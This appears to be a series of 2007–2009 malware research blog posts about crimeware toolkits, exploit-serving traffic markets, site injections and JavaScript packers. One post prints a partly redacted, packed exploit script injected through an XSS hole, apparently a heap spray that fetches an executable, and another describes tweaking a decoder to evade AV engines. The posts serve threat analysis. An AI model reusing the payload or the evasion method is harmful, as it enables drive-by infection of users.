In our previous blog posts we wrote a lot about how malicious code writers utilize different coding techniques to (successfully) evade detection by security products. To give just a few examples: Code obfuscations, evasive techniques, dynamic encryption methods; – the list goes on and on…
Recently, we managed to put our hands on an additional crimeware toolkit that attempts to infect end-users. While researching the code behind this toolkit we found the following code:
Overall, we found that there were a few thousand IP addresses on the list.
At a first glance, this code looks very interesting. The hackers listed IP addresses of many of the security vendors in the industry. The question is, why did they do that?!
Well … it did not take us more that 5 minutes to find the answer!
The hacker blacklisted IP addresses of research centers and crawlers used by security vendors. With this approach, the hacker minimizes the risk that a security researcher locating behind these IPs will access the crimeware toolkit and research it (and create a signature, blacklist the URL, etc). This technique allows the malicious code to stay effective for a long(er) time and continue to infect more PCs as security products will not hold a signature for preventing it.
As we have been claiming for many years, malicious code distributed on the web should be prevented using real-time code inspection techniques and not by using AV signatures or databases of URLs! If not, we see that even traditional security vendors themselves are not safe…..
Posted By Yuval Ben-Itzhak
Posts Tagged ‘Malicious Code’
Security vendors watch out, your IP address might be blacklisted by cybercriminals
By Anonymous • June 11th, 2009 • Cybercrime
New Orkut worm takes us back in the wayback machine
By Anonymous • December 20th, 2007 • MalwareI just love it how old news are recycled with a bit of a flare when they become relevant again. The latest Orkut worm reports talk about the technique that the worm writer has used to distribute its code. Quoting from the original article above: “It then downloads and executes a heavily obfuscated JavaScript”… looking at the code, I was expecting some whiz-bang brand-spankin-new cool-as-ice JS that you can’t even watch without eye protection. Alas, I was greeted with the good-ole’ “packed” obfuscation (see pdp’s post in it):
This brings us back to our August post on obfuscators (that are obviously easily detected and processed by us) which talked about the “packed” strand of JS obfuscation…
Hope that the industry will bring in something more exciting in the next wave of malicious code 
Posted by Iftach Amit
The Traffic Stock Exchange
By Anonymous • December 10th, 2007 • Cybercrime Malware VulnerabilitiesThere is nothing new in traffic selling sites; in fact this growing business is almost as old as search engines. This huge market was adopted by hackers in order to transform desktops and sites under their control into cash making zombies. Sites that run crimeware-affiliation-networks are nothing new and we have been covering these for a long time both in this blog, as well as in our regular publications (Malicious page of the month, and the Trends Reports), but we just had to highlight this one…
While analyzing some malicious traffic we found a site called “robotraff.com”. This site is a market place for traffic buyer and sellers which claims to be a “stock exchange” for traffic: ”robotraff is the first automated stock exchange of the traffic, here you can buy the traffic by criteria interesting you and also to sell – under the price favorable to you.” [Quote from robotraff.com]
[Note the English mistakes.. original image taken from the robotraff.com website.]
This sound very good, the seller can utilize his site to gain some extra income and the buyer can control the traffic he gets. This evolution enables every site owner to get into the business of buying and selling traffic.
The technical process is fairly simple – the sellers add an Iframe (or script) that redirects his clients’ browser to robotraff which in turn redirect the browser to the traffic-buyer site.
This all sounds great, BUT (remember we found this site while analyzing malicious code?) This site has another property that raised our suspicion regarding the intended customers – the ability to buy traffic that corresponds specifically to a browser type and version…
Surly enough when crawling through the sites list of one of the sellers (see partial list below) we found a treasure of exploits, it was like going through a time machine or an exploits museum – we found exploits dating all the way back to 2001 along with modern alive-and-kicking exploits.
The attack is simple – the selling site had a hidden Iframe pointing to (through a redirect) robotraff. Robotraff then redirected the browser to the traffic-buyer site which in turn served malicious content.
Wonder what the ethics are for “shareholders” in this stock exchange, and what regulations are associated with running a stock there
Posted by Golan Yosef
Rated M for Malicious (RBN hit again?)
By Anonymous • December 9th, 2007 • Cybercrime MalwareRateitall.com has a permanent XSS hole which was used by criminal group(s?) to insert malicious code to the popular rating site.
The XSS attack appears in many of the site pages and can be identified by their “clever” review: “it is good tt” followed by some random characters and also by the random looking user name.
The attackers, using the said XSS hole, added a script tag with an “SRC” attribute pointing to “a34[REMOVED].info”.
11/15/2007 it is good
tti96
Another thing to note here is that the attackers (probably) managed to automatically generate users (since for each XSS attack a new user was created) which means that they managed to overcome the “Captcha” mechanism employed by Rate-It-All.
The injected obfuscated scripts, attempt to exploit some IE vulnerabilities such as the ANI vulnerability and MDAC.
eval(function(p,a,c,k,e,d){e=function(c){return(c35?
String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)
{d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};
while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(‘d=1d;d.3(“”);
d.3(“<”+”G>”);d.3(“h 6 = \\”1h://O.S/Z/1D.26\\”;”);d.3(“h j = \\\’\\\’;”);d.3(“D (i = 0; i < 6.7; )”);
d.3(“{“);d.3(“j += \\\’%u\\\’ + ((i+1<6.7)?6.r(i+1).q(16):\\\’1E\\\’)+6.r(i).q(16);”);d.3(“i = i + 2;”);
d.3(“}”);d.3(“w = g(\\”%f%f%1C%1F%1G%1J%1I%1H%1B%…”\\”);”);d.3(“F = g(j);”);
d.3(“h l = w+F;”);d.3(“5 = g(\\”%f%f\\”);”);d.3(“J = 20;”);d.3(“a = J+l.7;”);d.3(“C (5.7d.3(“B = 5.I(0, a);”);d.3(“8 = 5.I(0, 5.7-a);”);d.3(“C(8.7+a<3m) 8 = 8+8+B;”);d.3(“E = 3i 3j();”);
d.3(“D (i=0;i<2S;i++) E[i] = 8 + l;”);d.3(““);d.3(“”);
d.3(““);d.3(““);’,62,212,’|||write|uefef|bigblock|…[REMOVED]…|ubdb4′.split(‘|’),0,{}))
The downloaded exe file was identified only by 2 of the AV engines available at Virustotal:
The “a34[REMOVED].info” domain was registered in 13-11-20007 to an entity in Culver City California (although the country was stated as CM, the phone number area code points to CA), is hosted in the UK and was registered by “Regtime Ltd” a Russian domain registration company. Its’ domain servers are NS0.HQHOST.NET and NS1.HQHOST.NET which were used by other notorious sites.
The following domains are registered under the same IP address as “a34[REMOVED].info”:
- xxxrusexy.com
- 2005leftforum.org
- anubis3d.info
- autonewsz.com
- blog.sportsinoutlook.com
- centralpartnership.org
- devrona.com
- easy-loans-for-you.com
- five.my1sttry.com
- foundquickly.com
- funsprogram.com
- gnt.devrona.com
- gthack.info
- idealfoto.ru
- infohosters.org.ua
- inlink.org.ua
- joden.org.ua
- maillive.org
- motofix.info
- msngo.info
- pornosmska.ru
- pornxblog.com
- princgames.com
- runegames.com
- sparko-soft.com
- sportsinoutlook.com
- swcidurango.org
- theporn.tv
- vdomik.com.ua
- witokas.com
It’s interesting to note that although the hosting company’s site looks completely “Americanized” (hqhost.net), the link we have found in one of their support forums for contacting support is surprisingly enough in Russian:
12/6/2007 – update – rateitall has reported that they have fixed the XSS issue and purged the malicious pages from their website.
Posted by Golan Yosef
SMB Hosting
By Anonymous • December 4th, 2007 • Cybercrime MalwareWe have started seeing malware being hosted on more “legitimate” hosting sites that usually provide an easy SMB hosting for a low monthly fee.
One of the sites hosting the malware is: http://9[REMOVED]o(dot)org/ where a lot of executable are located as part of an infection vector:
As can be seen from the VirusTotal scan for one of the files we picked – these are all malicious executables (and pretty new as well – check out the detection rate…)
When looking at the site, it even out rightly states that it is being hosted in a prime hosting location – this is what I call a great reputation!!! It is clear that the attacker has placed the malicious code on a hosting solution (paid…) that would “legitimize” it so that it would appear to be benign.
This is just one example – keep your eye on upcoming MCRC publications in the coming month for a full analysis on Small Business Hosting, and reputation services used for security purposes…
To be continued…
Posted by Ayelet Heyman
IFRAME is a security risk???
By Anonymous • October 25th, 2007 • Malware VulnerabilitiesOk, I have just read the latest in “IFRAME Security” articles and had to write something about it. While going through my usual RSS feeds, I stumbled onto this article, which tries to summarize why “iframes are a security risk”. Not to pick on the specific article, but this is not the first time that I have seen this approach. More notably, we have lately been faced with a barrage of sites that are detected by some AV engines as having a virus on them, when the detection is usually named “xxx-IFRAME-xxx”.
Scrutinizing the mere existence of an IFRAME element (as we all remember – a standard HTML element), sounds pretty bad. Now, we were asking ourselves, how come this has become a security threat? The answer is simpler and more alarming that you might have thought – we are shooting the messenger (excuse the pun…). Simply because an IFRAME element exists (or is dynamically created) in a page, does not mean that it contains malicious content. But since old-tech security products are having a hard time detecting web-bourne crimeware and malware these days (dynamic code obfuscation, evasive techniques, etc…), they set their radars to shoot down the iframe elements. What’s next? Script tags…
Just to set things straight – the security model we should be looking at should detect actual malicious code in real-time. The source (URL, Domain, etc…) should not matter, and neither should the looks (iframe, packed code, etc…). By analyzing the true intent of the code, one can be certain that the security policy sought after is really implemented.
That’s it for this week’s rants-and-raves, see you next week in the Greek ICT conference in Athens…
Posted by Iftach Amit
iframe opens a support call
By Anonymous • October 8th, 2007 • MalwareUsually a week or two after MCRC detects a malicious domain, webmasters blogs are filling with complains and “surprised faces” about the existence of code they didn’t author in their web site pages.
But this time, I want to talk about something else, which is quite “funny” (or sad?!), at least to my developed sense of humor…J Opening a support call because of a hacked site…
And so the story begins:
Background: WordPress is a free “state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability”. In other words: blog. A lot of web sites are using it, and the script is open source and available for everyone.
Scenario: Exploiting the familiar names of the WordPress scripts, hackers are hosting malicious code with the same path and filename of a WordPress file. An unsuspecting webmaster who’s site included a reference to such script, instead of complaining about unknown code, opened a support case at the WordPress support forum, complaining about this problematic plug-in that caused users systems to hang and eventually crash the browser. This problematic behavior was actually the execution of a Trojan on the visitor’s machine. A quote from the thread (warning – thread contains link to live malicious code):
“Basically about a week ago my site began experiencing problems whenever I tried to access the home page >http://www.heroes-hype.com. The screen just freezes for about 10 minutes..sometimes it also throws me out (closes the browser).… At first I suspected that it was a problem with the wp-stats plug-in which I had just installed prior to this problem surfacing.”…
Conclusion: So basically from the webmaster’s view, this kind of code injection is becoming much safer than it used to be, since the code (actually filename) “looks” familiar enough. Once again we see how the “Going back to basics technique” (instead of obfuscated iframes etc – see Malicious Page of the Month for September), is proving to be quite useful.
Short brief of the attack:
- The injected iframe pointing to the seemingly legitimate WordPress plug-in script:
- The malicious code behind the iframe (exploiting all recent vulnerabilities execute a Trojan etc – you know the drill J)
Posted by Ayelet Heyman
Playing with obfuscators – teaching an old dog new tricks…
By Anonymous • October 7th, 2007 • MalwareSo our Malicious Page of the Month for September is out now. Going over the details of the document, I wanted to re-visit an old habit I had back in the days of putting code to the test – especially when the code in subject is simple, and has been signature to hell by every security vendor already… You guessed it right – code obfuscation (or more precisely – the de-obfuscating function).
So here are the basics – index.php is a highly malicious page being served by a crimeware toolkit somewhere (see the MPOM for the specifics). It contains a de-obfuscation function (df) and a call to it with a long parameter that looks like garbage, but then open up to some nice exploit code.
Running it through our friends at VirusTotal – here is what comes up (not a competitive analysis, no one is responsible for the results, etc, etc…):
OK, that’s pretty decent – 15 out of 32 (database unreachable is not a malicious detection – on previous runs it came up with nothing)… Now, wondering what makes these things really tick, let’s neutralize the malicious part of the file. Let’s just completely make it useless – and pass an empty string to the de-obfuscating function. This should obviously not be blocked, since the end-result is non-malicious, and these obfuscators are being used for harmless code as well.
Aha! Someone does not like this coding… So what really happened is that the de-obfuscation function is the one being scrutinized, and not the malicious code that end up running on the machine. So to our final step in the game – play a bit with the function, make it look nice and just change a couple of parameter names. No functionality change, just a bit of cosmetics (function name change to asda, 2 parameters changed names, code got through tidy…):
Conclusion – don’t believe everything you see… it may actually not be that bad… just make sure you take a close look at what’s really going on under the hood!
Posted by Iftach Amit
Widgets+Advertisements=?
By Anonymous • September 23rd, 2007 • MalwareCoincidence or just sheer luck, but I just happened to stumble upon this article announcing that Google has come up with a widget that serves advertisements, and quoting the source: “A variety of web technologies can be used to create the ad, including Flash and HTML to author it, and RSS, images, video, and audio among other media times to provide the content”.
As we have been covering these two “problematic” areas from the security standpoint (Advertisements as a vector for distributing malicious code, and the insecurity of widgets and gadgets), I truly hope that this new mashup (Web2.0 or not) will hold its own in terms of security. In any case like anything Google this should be cool.
Posted by Iftach Amit
Malicious code, say hello to the legitimate packer
By Anonymous • August 29th, 2007 • Cybercrime MalwareLegitimate packers and encoders have a long history of malicious use. A great example for that is UPX, which is one of the most used executable packers by malicious executables. This trend now also takes place in the web environment.
When javascript code obfuscation was introduced a few years ago by the Feebs virus and many other malicious websites, the most common function used by the malicious code was “dF”. This function was a decoder for the encoded malicious javascript. While looking for the source of this function, I was surprised to find out that this function was taken from a legitimate javascript tutorials website that explains how to “hide HTML and/or javascript from other people who view your page’s source code”.
Lately, we see an increase in the use of a new strange looking decoder function in malicious websites. This function gets 5 parameters: “p, a, c, k, e, d”, which probably indicates that this is a packer. When I first saw the code, I thought that this was a joke by the attacker. I was wrong. This code was actually generated by a legitimate javascript packer.
The attackers are getting smarter (and lazier) every day. As these tools are used increasingly, it becomes more difficult for the security vendors to distinguish between legitimate code obfuscation and malicious code obfuscation. Fortunately, our product can deal with this issue.
Posted by Aviv Raff